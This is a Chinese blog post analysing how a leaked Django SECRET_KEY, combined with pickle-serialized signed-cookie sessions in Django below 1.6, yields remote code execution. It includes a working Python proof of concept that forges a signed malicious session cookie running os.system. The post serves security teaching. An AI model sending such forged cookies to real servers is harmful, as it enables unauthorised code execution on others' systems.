背景

最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:
1,json object的签名
2,加密函数,如密码重置,表单,评论,csrf的key,session数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行

代码执行

settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

django 1.6以下

在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

session处理流程

可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie数据。见代码

class SessionMiddleware(object):def process_request(self, request):engine = import_module(settings.SESSION_ENGINE)session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)request.session = engine.SessionStore(session_key)

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:

def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):"""Reverse of dumps(), raises BadSignature if signature fails"""base64d = smart_str(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))decompress = Falseif base64d[0] == '.':# It's compressed; uncompress it firstbase64d = base64d[1:]decompress = Truedata = b64_decode(base64d)if decompress:data = zlib.decompress(data)return serializer().loads(data)

构造POC

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):def __reduce__(self):return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib
url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。

总结

利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。

https://github.com/danghvu/pwp/blob/master/exploit.py
https://fail0verflow.com/blog/2014/plaidctf2014-web200-reeekeeeeee.html
https://systemoverlord.com/blog/2014/04/14/plaidctf-2014-reekeeeee/
http://www.shysecurity.com/post/Reekee
http://python.usyiyi.cn/django/topics/http/sessions.html
https://github.com/django/django/blob/stable/1.5.x/django/core/signing.py
http://stackoverflow.com/questions/15170637/effects-of-changing-djangos-secret-key/15383766?noredirect=1#comment21743494_15383766

从Django的SECTET_KEY到代码执行相关推荐

  1. 从django的SECRET_KEY到代码执行

    0x00 背景 最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁. 0x0 ...

  2. python执行txt中代码_【技术分享】文件解压之过 Python中的代码执行

    预估稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 一.前言 Python中负责解压压缩文件的代码实现上并不安全,存在目录遍历漏洞,攻击者可以利用该漏洞覆盖_ ...

  3. thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞

     漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...

  4. linux内核远程漏洞,CVE-2019-11815:Linux内核竞争条件漏洞导致远程代码执行

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一 ...

  5. WSS 代码执行的权限提升

    WSS 代码执行的权限提升 概述: WSS 默认使用身份模拟执行代码,也就是说用当前登录的用户身份执行Web Part或者自定义应用程序的代码访问.在大多数情况下,这种机制能够准确并严格地控制了标准权 ...

  6. ElasticSearch Groovy脚本远程代码执行漏洞

    什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由 ...

  7. Linux包管理器apt/apt-get发现远程代码执行漏洞

    研究人员Max Justicz日前发现了知名Linux包管理器apt/apt-get中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并获取root权限以执行任何代码.该漏洞已在最新版本apt修复,如 ...

  8. php5.3.8添加eaccelerator扩展 加速php代码执行效率

    安装eaccelerator [root@localhost ~]# wget http://nchc.dl.sourceforge.net/project/eaccelerator/eacceler ...

  9. filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行

    Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞. 介绍 Thinkphp框架官方提供核心版和完整版两种: 核心版因默认缺 ...

最新文章

  1. Win/Linux常用命令
  2. java实现具有修饰的完美圣诞树
  3. 强化学习笔记: backup diagram
  4. uva 753 A Plug for UNIX
  5. OpenCV copyMakeBorder()来拓展边界
  6. centos修改磁盘uuid_Centos更换损坏硬盘UUID改变导致系统不能正常启动处理
  7. 18. OD-反调试研究,破解反调试,编写反调试
  8. keras 的层,中文
  9. php 获取TZ时间格式
  10. Android编码规范05
  11. android手机常用浏览器,Android平台三款手机浏览器对比评测
  12. ALFA机器视觉深度学习外观检测自学习人工智能软件——红色工具
  13. 第一台电子计算机乌拉尔,2018网易爱乐之战题目答案大全一览
  14. openwrt 怎么进入串口_OpenWrt路由器读取串口数据,建立tcp服务
  15. vmbox-android
  16. Unity3D压缩和解压缩文件
  17. UE4 Spline的使用
  18. 【Flume】Flume原理简述及示例实践
  19. SylixOS 共用中断号机制
  20. jquery.validate.min.js使用介绍

热门文章

  1. 叉乘点乘混合运算公式_用抽象指标记号推导nabla算符相关公式
  2. win服务器系统无法切换输入法,Win8系统无法切换输入法如何解决?
  3. java实现腾讯云直播
  4. python匠心之作——集合
  5. 苹果Apple Pay优缺点全解析
  6. 1.国民技术N32G45X例程之-串口打印
  7. C语言编写的计算生肖年份的小程序
  8. 给Ubuntu系统清理垃圾
  9. IDE和IDLE是什么
  10. 怎么用U盘制作原版系统启动盘